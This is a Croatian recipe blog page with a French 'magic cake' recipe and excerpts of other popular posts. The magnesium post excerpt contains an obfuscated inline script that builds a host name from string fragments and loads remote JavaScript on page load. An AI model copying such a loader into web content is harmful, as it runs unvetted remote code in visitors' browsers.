FRANCUSKI ČAROBNI KOLAČ





Francuski čarobni kolač 




Čarobni kolač potječe iz jugozapadne Francuske, gdje je poznat pod nazivom Gâteau Magique. Smjesa podsjeća na onu za palačinke, ali tijekom pečenja sastojci se razdvajaju u tri sloja različite teksture.





Francuski čarobni kolač 


Sastojci:

  • 480 ml punomasnog mlijeka
  • 115 g maslaca, narezanog na komadiće
  • 4 velika jaja, odvojeni žumanjci i bjelanjci
  • 135 g šećera
  • 2 čajne žličice ekstrakta vanilije
  • 1/4 čajne žličice soli
  • 1/8 čajne žličice mljevenog muškatnog oraščića (po želji)
  • 90 g glatkog brašna
  • šećer u prahu, za posipanje




Priprema:

  1. Pećnicu zagrijte na 160 stupnjeva. Kvadratni kalup dimenzija približno 20 x 20 cm premažite maslacem ili poprskajte uljem u spreju. Obložite ga papirom za pečenje tako da papir prelazi preko dvije strane kalupa, što će kasnije olakšati vađenje kolača.
  2. U manjem loncu na laganoj vatri zagrijavajte mlijeko i maslac dok se maslac potpuno ne otopi. Smjesa treba biti topla, ali ne smije zakuhati. Maknite s vatre i ostavite sa strane.
  3. Bjelanjke istucite mikserom u čvrsti snijeg.
  4. U drugoj većoj zdjeli miksajte žumanjke, šećer, vaniliju, sol i muškatni oraščić dok smjesa ne postane svijetla i pjenasta.
  5. Dodajte brašno i kratko izmiksajte na najmanjoj brzini dok se sastojci ne povežu.
  6. Uz stalno miješanje polako ulijevajte toplo mlijeko s maslacem. Isprva dodajte nekoliko manjih količina kako biste izbjegli grudice, a zatim ulijte ostatak te dobro izmiješajte. Smjesa će biti vrlo rijetka, slična onoj za palačinke.
  7. Dodajte istučene bjelanjke i lagano ih umiješajte pjenjačom. Nemojte potpuno sjediniti smjesu – na površini bi trebali ostati manji komadići.
  8. Smjesu ulijte u pripremljeni kalup i pecite oko 50 minuta.
  9. Kolač je gotov kada površina poprimi zlatnosmeđu boju, rubovi se lagano odvajaju od kalupa, a sredina još uvijek blago podrhtava pri pomicanju.
  10. Ostavite kolač da se hladi na sobnoj temperaturi oko 30 minuta, a zatim ga premjestite u hladnjak na najmanje jedan sat.
  11. Prije posluživanja pospite šećerom u prahu i narežite na kocke. Po želji ga poslužite uz svježe bobičasto voće ili žlicu tučenog vrhnja.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više